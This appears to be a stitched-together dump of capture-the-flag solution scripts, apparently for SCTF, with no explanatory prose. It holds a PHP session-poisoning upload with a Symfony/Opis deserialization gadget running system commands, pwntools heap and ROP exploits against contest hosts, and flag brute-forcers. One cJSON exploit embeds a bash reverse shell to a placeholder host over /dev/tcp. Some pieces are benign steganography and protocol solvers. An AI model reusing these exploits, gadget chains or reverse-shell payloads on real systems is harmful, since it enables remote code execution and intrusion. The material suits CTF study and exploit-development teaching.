import requests

import os

url = "http://124.71.199.229:8778/"

s = requests.Session()

s.get(url)

cookie = s.cookies.get("PHPSESSID")

def store(path,name,con):

    r = s.post(url,files={"file":(name,con),"path":(None,path)})

serSes = os.popen("php gadget.php").read()

store("../../../../tmp","sess_"+cookie,serSes)

print(s.post(url,files={"file":("pew","XXD")}).text)
<?php

namespace Symfony\Component\String;

class LazyString {

  function __construct() {

    $func = function(){system("cat /flag");};

    $this->value = new \Opis\Closure\SerializableClosure($func);

  }

}

include_once "vendor/autoload.php";

print("upload_path|".(serialize(new \Symfony\Component\String\LazyString())));

# MiaoTony

# from pwn import *

# host = '124.70.150.39'

# port = 2333

# r = remote(host, port)

# s = r.recvall()

# print(s[:100])

# print(s[-100:])

# with open('data', 'wb') as f:

#     f.write(s)

import re

from PIL import Image

img = Image.open('TpMSkq.png')

# img.show()

img.size

# (900, 1200)

# 纵向来提取

data = []

for i in range(1, img.size[0], 9):

    for j in range(1, img.size[1]-9, 9):

        r, g, b, a = img.getpixel((i, j))

        print(r, g, b, a)

        data.append((r, g, b))

# print(data)

print(len(data))

# 13300

with open('colors2', 'w', encoding='utf-8') as f:

    f.write(str(data))

with open('data2.txt', 'rb') as f:

    s = f.read()

with open('data1.txt', 'rb') as f:

    s += f.read()

# print(s)

# s[:100]

l = re.findall(b'\x1b\[38;2;(\d+);(\d+);(\d+)m', s)

# print(l)

colors = [tuple(int(i) for i in j) for j in l]

print(len(colors))

# 6650

data_new = []

for i in range(len(colors)):

    x = ()

    for j in range(3):

        tmp = data[i][j] ^ colors[i][j]

        x += (tmp,)

    print(x)

    data_new.append(x)

with open('data_xor.txt', 'w') as f:

    f.write(str(data_new))

img1 = Image.new('RGB', (133, 100), (255, 255, 255))

img1.putdata(data_new)

img1.save('out.png')

img1.show()

data = []

for i in range(1, 5):

    data.append(np.array(list(map(float, open(f'data{i}.txt').read().strip().splitlines()))))

diff = data[0] - data[1]

def get_bit(x):

    return 1 if np.sum(x[200:300]) / 100 > 0 else 0

bits = [get_bit(diff[d:d + 1000]) for d in range(0, 126000, 1000)]

print(bits)

t = 0

flag = []

for i in range(0, len(bits)):

    t = (t << 1) + bits[i]

    if i % 7 == 6:

        flag.append(chr(t))

        t = 0

print(repr(''.join(flag)))

from pwn import *

import binascii

context.endian = 'big'

client_id = b"21"

user = b'A'

password = b'chengdu106520013'

datalen = 10 + len(client_id) + 2 + len(user) + 2 + len(password) + 2 - 1

buf = b"\x10" + bytes([datalen, 4]) + b'MQTT' + b"\x04" + b"\xc2\x00\x50" + p16(len(client_id)) + client_id + p16(len(user)) + user + p16(len(password)) + password

pkt = binascii.hexlify(buf).upper().decode()

reorder = ''

for j in range(0, 12):

    for i in range(0, len(pkt), 12):

        reorder += pkt[i + j]

flag = 'sctf{' + reorder + '}'

print(flag)

from pwn import *

# sh = process('./cJSON_PWN')

sh= remote('124.70.202.226',2101)

# gdb.attach(sh,'b * $rebase(0x120d)')

payload = "/*".rjust(0xe,'b')

# payload = payload.ljust(0xe,'a')

sh.send(payload)

sh.send("aaaa/*".ljust(0xe,'a'))

payload = "b" * (0xb-6) +"/*"

payload = payload.ljust(0xe,'a')

sh.send(payload)

sh.send("/*".ljust(0xe,'a'))



sh.interactive()

from pwn import *

def create_php(buf):

    with open("pwn.php", 'wb+') as pf:

        pf.write(b'''<?php

$data = jsonparser("%s");

readfile($data);

?>'''%buf)

def create_php2(buf):

    with open("pwnjson", 'wb+') as pf:

        pf.write(b'''%s'''%buf)

context.arch = 'amd64'

def pp64(num):

    payload = rb""

    for i in range(4):

        payload += rb"\\u" 

        tmp = bytes(hex((((num & 0xff) << 8) + ((num >> 8) & 0xff)) & 0xffff)[2:],encoding='utf8').rjust(4,b'0')

        payload += tmp

        num = num >> 16

    return payload

# print(pp64(0x1234))

# pp64 = lambda x  : p64(x)[:6] + rb"\\u0000"

libc = ELF('./libc-2.31.so')

# libc_base = 0x7ffff7474000

libc_base = 0x7faea6b33000

rdx_gadget = libc_base + 0x000000000012c050

rdi_ret = libc_base + 0x0000000000026796

ret = 0x000000000002535f + libc_base

rsi_ret = 0x000000000002890f + libc_base 

rdx_ret = 0x00000000000cb1cd + libc_base

# 0x555556606000

# heap_base = 0x555556606000 + 0x1E1600

heap_base = 0x56400792d000+ 0x1E1600

free_hook = libc_base + libc.symbols["__free_hook"]

shell_addr = libc_base + libc.symbols["__free_hook"]+ 0x140

frame = SigreturnFrame()

frame.rip = ret

frame.rsp = heap_base + 0x640 + 0x100

print(unpack_many(bytes(frame)))

payload = rb'''

{

    \"bb\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"aa\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"cc\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"dd\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"ee\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"ff\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"gg\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",

    \"ff\":\"aaaaaa\",

    

    \"ee\":\"aaaaaa\",

    \"dd\":\"aaaaaa\",

    \"zz\":\"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\\\"'''

payload += rb"b" * 6 + pp64(0x51) + pp64(0) * 9

# payload += pp64(0x31) + pp64(0) * 3

payload += pp64(0x31) + pp64(free_hook - 0x30)

# payload += b'b' * (0x80-2)

# payload += p64(0x7ffff7635e70)[:6]

# payload += rb"\\u0000"

# payload += p64(0x7ffff7635e70)[:6]

# payload += rb"\\u0000"

# payload += p64(0x7ffff7635e70)[:6]

# payload += rb"\\u0000"

payload += rb'\",'

payload +=rb'''

    \"address\":\"'''

payload += rb'a' *0x20 + rb'\",'

payload +=rb'''

    \"rop\":\"'''

rop = pp64(rdi_ret) + pp64(shell_addr)  + pp64(rsi_ret) + pp64(0) + pp64(rdx_ret) + pp64(0)+ pp64(libc_base+libc.symbols['system'])

payload += pp64(0) + pp64(heap_base + 0x640 + 0x10 - 0xC0 + 0x10) + pp64(0) * 2  +pp64(0)*2 + pp64(libc.symbols['setcontext'] + 53 + libc_base )

payload += pp64(0) * 15 + pp64(heap_base + 0x640 + 0x108 - 0xc0 + 0x10) + pp64(ret) + pp64(0) + pp64(0x51) + pp64(0) * 7

# payload += rop + rb'/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')

payload += rop + rb'/bin/touch /ctf/work/asddd'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')

payload += rb'\",'

payload +=rb'''

    \"rops\":\"'''

payload += rb'a'*0x8 + pp64(free_hook + 0x10) +rb"\\\"" + rb"a"*(6+8 + 8) +rb'a' * 8+ pp64(rdx_gadget)  + pp64(libc.symbols['__free_hook'] + libc_base + 0x10) + pp64(0) * 2  +pp64(0)*2 + pp64(libc.symbols['setcontext'] + 53 + libc_base ) 

# payload += bytes(frame)[0x28:].replace(b'\x00\x00',rb'\\u0000')

payload += pp64(0) * 15 + pp64(libc_base + 0x1C1E70 + 0x108) + pp64(ret) + pp64(0) + pp64(0x51) + pp64(0) * 7 

payload += rop + rb'/bin/bash -c "/bin/bash -i >&/dev/tcp/xxx.xx.xx.xx/9090 0>&1"'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')

payload += rb'\",'

payload +=rb'''

    \"rops\":\"'''

payload += rb'a' *0x20 + rb'\",'

payload += rb'''

}

'''

# create_php(payload.replace(rb'\"',rb'"'))

create_php(payload)

create_php2(payload.replace(rb'\"',rb'"'))

from pwn import *

import string

context.log_level = 'debug'

# sh = remote('124.71.144.133', 2144)

payload = '''

gift work is "12345678901234567890123456789012345678901234567890";

gift path is "/home/ctf/flag";

gift oflag is 0;

gift temp is 0;

gift Size is 48;

gift fd is 0;

gift flag is "{0}";

gift Ans is 1;

gift zero is 0;

gift flagsize is {1};

reindeer Dancer delivering gift path oflag temp brings back gift fd;

reindeer Dasher delivering gift fd work Size;

reindeer Prancer delivering gift work flag flagsize brings back gift Ans;

this family wants gift Ans if the gift is Ans equal to zero : reindeer Rudolph delivering gift path oflag temp brings back gift fd; ok, they should already have a gift;

EOF

'''

flag = 'SCTF{Merry'

cnt  = 11

stringset = string.printable

while True:

    for i in stringset:

        temp = flag + i

        log.success(temp)

        sh = remote('124.71.144.133', 2144)

        sh.sendafter('(EOF to finish):', payload.format(temp, cnt))

        # log.success(payload.format(temp, cnt))

        try :

            sh.recvuntil('error:')

        except EOFError:

            sh.close()

        else:

            flag += i

            cnt += 1

            sh.close()

            break

    

    log.success('flag=' + flag)

sh.interactive()

#!/usr/bin/env python3

import os

import time

from zio import *

LOCAL = False

target = './gadget.patched'

if os.getenv('TARGET'):

    ary = os.getenv('TARGET').split(':')

    target = (ary[0], int(ary[1]))

    LOCAL = False

def test(index, guess):

    print('testing %d, guess = %#x' % (index, guess))

    print('target = %r' % (target, ))

    io = zio(target, print_read=COLORED(REPR, 'yellow'), print_write=COLORED(REPR, 'cyan'), timeout=10000)

    if LOCAL:

        io.gdb_hint(breakpoints=[

            # 0x401205,     # before ret

            0x401222,     # before main ret

        ])

    else:

        # do proof of work?

        # io.readline()

        # input('continue?')

        pass

    flag_addr = 0x40d160

    flag_path = b'./flag'

    new_stack2 = 0x40D200

    new_stack3 = 0x40d400

    new_stack4 = 0x40d600

    pop_rax_ret = 0x401001      # pop rax/eax ; ret

    syscall_pop_ret = 0x401165  # syscall ; pop ebp ; ret

    pop_rdi_pop_ret = 0x401734  # pop rdi ; pop rbp ; ret

    pop_r14_pop2_ret = 0x0000000000401731 # pop r14 ; pop r15 ; pop rbp ; ret

    pop_rsi_pop2_ret = 0x0000000000401732 # pop rsi ; pop r15 ; pop rbp ; ret

    pop_rbx_pop3_ret = 0x403072 # pop rbx ; pop r14 ; pop r15 ; pop rbp ; ret | pop ebx ; inc ecx ; pop esi ; inc ecx ; pop edi ; pop ebp ; ret

    store_rdi_rax_ret = 0x0000000000403beb #  mov qword ptr [rdi + rdx - 0x27], rax ; mov rax, rdi ; ret

    access_rcx = 0x0000000000402fee # mov byte ptr [rcx + rdi - 5], 0x89 ; ret

    pop_rcx_ret = 0x000000000040117b    # pop rcx ; ret

    payload = b'_' * 0x30 + b'_____RBP'

    payload += l64(pop_rax_ret)

    payload += flag_path.ljust(8, b'\0')

    payload += l64(pop_rdi_pop_ret)

    payload += l64(flag_addr + 0x27)

    payload += l64(0x5f5f5f5f5f5f5f5f) # fill rbp

    payload += l64(store_rdi_rax_ret)

    payload += l64(pop_rdi_pop_ret)            

    payload += l64(new_stack2)            # bss

    payload += l64(0x5f5f5f5f5f5f5f5f)  # fill rbp

    payload += l64(0x401170)            # read stage2 ROP

    payload += l64(0x401730)            # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret

    payload += l64(new_stack2)

    payload2 = b'_' * 24

    payload2 += l64(0x401222)

    payload2 += l64(0x4011ed)    # retf

    payload2 += l64(0x401222 | (0x23 << 32))

    # mode switched

    payload2 += l32(pop_rax_ret)

    payload2 += l32(0x5)        # open

    payload2 += l32(pop_rbx_pop3_ret)

    payload2 += l32(flag_addr)

    payload2 += l32(0x5f5f5f5f)

    payload2 += l32(0x5f5f5f5f)

    payload2 += l32(0x5f5f5f5f)

    payload2 += l32(pop_rcx_ret)

    payload2 += l32(0)

    int80_ret = 0x4011f3

    payload2 += l32(int80_ret)

    # switch back

    payload2 += l32(0x4011ed)

    payload2 += l32(0x401222)

    payload2 += l32(0x33)

    payload2 += l64(pop_rdi_pop_ret)            

    payload2 += l64(new_stack3)          # bss

    payload2 += l64(0x5f5f5f5f5f5f5f5f)  # fill rbp

    payload2 += l64(0x401170)            # read stage3 ROP

    payload2 += l64(0x401730)            # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret

    payload2 += l64(new_stack3)

    # 0x0000000000406a43 : add al, byte ptr [rax] ; add byte ptr [rax + 0x14], bh ; syscall

    # 0x000000000040884e : je 0x408855 ; movsb byte ptr [rdi], byte ptr [rsi] ; dec edx ; jne 0x408850 ; ret

    payload3 = b'_' * 24

    payload3 += l64(pop_rax_ret)

    payload3 += l64(0)

    payload3 += l64(pop_rdi_pop_ret)

    payload3 += l64(3)                  # fd

    payload3 += l64(0x5f5f5f5f5f5f5f5f)

    payload3 += l64(pop_rsi_pop2_ret)    

    payload3 += l64(flag_addr)

    payload3 += l64(0x5f5f5f5f5f5f5f5f)

    payload3 += l64(0x5f5f5f5f5f5f5f5f)

    payload3 += l64(syscall_pop_ret)

    payload3 += l64(0x5f5f5f5f5f5f5f5f)

    payload3 += l64(pop_rdi_pop_ret)            

    payload3 += l64(new_stack4)          # bss

    payload3 += l64(0x5f5f5f5f5f5f5f5f)  # fill rbp

    payload3 += l64(0x401170)            # read stage3 ROP

    payload3 += l64(0x401730)            # pop rsp ; pop r14 ; pop r15 ; pop rbp ; ret

    payload3 += l64(new_stack4)

    payload4 = b'_' * 24

    payload4 += l64(pop_rcx_ret)

    payload4 += l64(0x40e000 - 1 + 5 - guess)

    payload4 += l64(pop_rbx_pop3_ret)

    payload4 += l64(0)      # rbx = 0

    payload4 += l64(access_rcx)       # r14

    payload4 += l64(0x5f5f5f5f5f5f5f5f) # r15

    payload4 += l64(0x5f5f5f5f5f5f5f5f) # rbp

    payload4 += l64(pop_rax_ret)

    payload4 += l64(flag_addr + index)

    payload4 += l64(pop_rsi_pop2_ret)

    payload4 += l64(0) + l64(0) + l64(0)

    payload4 += l64(0x4011BE)   # mov bl, [rsi+rax]; mov rdi, rbx; push r14; ret

    payload4 += l64(pop_rdi_pop_ret)

    payload4 += l64(flag_addr)

    payload4 += l64(0x5f5f5f5f5f5f5f5f)

    payload4 += l64(0x401170)

    for i, p in enumerate([payload, payload2, payload3, payload4]):

        if LOCAL:

            input('stage%d?' % (i+1))

        else:

            time.sleep(0.1)

        if len(p) > 0xc0:

            raise ValueError('payload2 too long: %#x' % len(p))

        io.writeline(p)

    try:

        io.read_until_timeout(1)

        if io.is_eof_seen():

            io.close()

            return False

        else:

            io.close()

            return True

    except ConnectionResetError:

        return False

flag = b''

while True:

    for i in range(32, 127):

        v = test(len(flag), i)

        if v:

            flag += bytes([i])

            break

    print('flag = %s' % flag)

    if flag.endswith(b'}'):

        break